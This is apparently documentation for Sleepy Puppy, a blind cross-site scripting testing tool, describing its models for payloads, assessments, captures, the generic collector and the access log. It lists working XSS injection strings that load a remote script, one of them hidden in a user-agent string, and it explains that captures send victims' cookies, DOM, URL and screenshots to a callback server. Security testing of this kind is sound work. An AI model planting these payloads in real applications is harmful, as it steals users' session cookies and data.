Models
#Models This section describes the models within Sleepy Puppy and how they interact together. For an end-to-end example on using Sleepy Puppy, see the Tutorial section.
Puppyscript model allows you to define the PuppyScript(s) that will be executed when a payload is triggered in a browser. Sleepy Puppy ships with a few different PuppyScripts demonstrating the flexibility of the tool. The default Puppyscript collects metadata including URL, referrer, user agent, DOM, cookies, associated payload/assessment, and generates a screenshot where the payload executed.
The default view just shows the name and description of each PuppyScript. To actually view the source, click the edit button.
The editor provides syntax highlighting to make it easier to work on integrating your own PuppyScripts into Sleepy Puppy.
When writing your own PuppyScripts, the following Jinja2 templates are supported and will automatically be filled in by Sleepy Puppy:
-
{{callback_protocol}}- Will insert the correct schema -
{{hostname}}- Hostname of the running server for callbacks -
{{payload}}- Payload identifier to associate the capture or generic collector with. -
{{assessment}}- Assessment identifier to map the capture or generic collector with the assessment.
If you would like to use the generic collector endpoint (described below) to log arbitrary client side data, take a look at the Generic Collector: IP Address example included with Sleepy Puppy.
##Assessment An assessment is a logical way to organize your workflows around XSS testing. Assessments are uniquely associated with payloads to allow you to receive email notifications when Payloads execute as well as associate your capture data.
Assessments can also be configured to log access requests to any Payload even if it doesn't fire, which may be useful if you are running into namespace conflicts or problems with executing PuppyScripts on certain applications.
###Assessment View The assessment view will display all of the assessment information including a list of payloads with counts on associated captures, generic collectors, or access log requests.
Payloads for each assessment are listed in the table below the assessments. Each payload has a count of captures, generic collectors, and access log requests. You can click the counts to view those findings.
You can copy the payloads here for use in your assessments.
Lets discuss the unique options of assessments:
####Snooze
The Snooze boolean will stop captures for this assessment. This may be useful if you have injected in an application that is getting a ton of traffic and you would like to stop notifications and/or data collection.
####Run Once
The Run Once boolean will only run once for each associated assessment's payloads. This may be useful for a site where you only want to demonstrate cross-site scripting but not collect a bunch of information on users that trigger the XSS execution.
If a payload has already executed and this option wasn't enabled, it will not fire if it is then enabled. This functionality works by checking the database and will not execute any PuppyScripts if it finds 1 or more captures associated with the payload and assessment.
####Access Log If your assessment has access log enabled, any payloads associated with that assessment will log a record in the access log if a browser makes a get request that includes that payload identifier.
###Create or Edit an Assessment Simply specify the assessment name and if you would like to enable the Access Log.
Payloads are where you specify the injection strings that will be used to load PuppyScript(s). You provide an XSS String as well as a placeholder where the application will automatically inject the PuppyScript(s) configured for that payload. By default, all payloads are configured to use the default PuppyScript, which collects metadata and a screenshot where the payload executes.
All payloads are accessible for every assessment you create. The assessment view takes care of formatting the Payload strings by replacing the template placeholder with the correct callback identifiers.
###Payload View
The payload view is a collection of all of the payloads you can leverage for testing.
###Creating Payloads
Payloads are the actual strings you will inject in applications to load PuppyScripts to facilitate a capture. Let's walk through each configuration option for payloads:
####Puppyscripts A number of Puppyscripts ship with Sleepy Puppy. Here you can 'chain' PuppyScripts together, where they will execute in order. It should be noted that PuppyScripts with asynchronous calls may execute at different times than the order which they are evaluated. You may define your own custom PuppyScripts as well. If you are curious on logging arbitrary data, take a look at the source code for the "Generic Collector: IP Address" PuppyScript.
####Payload Sleepy puppy provides a few basic XSS payloads you can use for testing. They are enumerated below:
'<script src=$1></script>'
'</script><script src=$1>'
'<script src=$1></script>
'</script><script src=$1>'
'" onload="var s=document.createElement('script');s.src='$1';document.getElementsByTagName('head')[0].appendChild(s);" garbage="'
"""'"><img src=x onerror="var s=document.createElement('script');s.src='$1';document.getElementsByTagName('head')[0].appendChild(s);">"""
"""Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36 '"><img src=x onerror="var s=document.createElement('script');s.src='$1';document.getElementsByTagName('head')[0].appendChild(s);">"""
When creating payloads, provide the payload string. Use the $1 placeholder for the payload so Sleepy Puppy can automatically inject a Payload identifier and the PuppyScript loader.
Captures are where you can view all of the triggered cross-site scripting events.
###Captures View###
You can examine the captured cookies by clicking "View Cookies":
As well as the DOM, which also highlights where in the code your payload was executed:
NOTE: The DOM will not highlight dynamic payloads (payloads that change/rewrite the DOM before execution).
##Generic Collector## The generic collector model provides a way for you to capture any textual data (currently binary is not supported) from any PuppyScript loaded when a Payload fires. This provides you the flexibility to do very customized PuppyScript executions and still leverage the power of Sleepy Puppy notifications and persistence.
When writing PuppyScripts for the generic collector your callback needs to provide the following POST parameters:
-
payload- Payload identifier associated with this PuppyScript. Consider using the {{payload}} template. -
assessment- Assessment identifier associated with this PuppyScript. Consider using the {{assessment}} template. -
puppyscript_name- Name of the PuppyScript for reference. -
data- Textual data in any format you choose (except Binary).
You can post this data back to: "{{callback_protocol}}://{{hostname}}/generic_callback"
###Generic Collector View The generic collector provides you with a very simple view of relevant information including your data. In the example below, we leveraged a script that made an AJAX call to determine the IP address of the client that executed the payload. We then placed that in the data parameter:
##Access Log## The access log provides an alternative way to potentially flag an injection issue. Sometimes due to either specific restrictions in an environment, PuppyScript namespace conflicts, browser instability or web application instability, a PuppyScript may not execute. If your assessment has access log enabled, any payloads associated with that assessment will log a record in the access log if a browser makes a get request that includes that payload identifier.
###Access Log View The access log will provide you with the date the request was made, which assessment was associated with the request, referer (if included), user agent, and IP address.
##Users## The User model allows you to specify email notifications for specific assessments. A user can subscribe to notifications for multiple assessments.
###User View###
There are two users in this example that will receive notifications when a capture, generic collector, or optional access log request is received for a particular assessment(s).
###Create User###
Simply specify your email address and what assessments (if any) you would like to receive notifications for.
##Admin
Admin is where you can setup how user access to sleepy puppy. All users who are a member of the Admin model have the same permissions.
The Admin view lists the members who have access to sleepy puppy. In addition, an API key is generated that must be used to access the API.
There are two ways to create an admin account. The first is via command line:
python manage.py create_login foo
The second is via the Admin page (once you are authenticated):
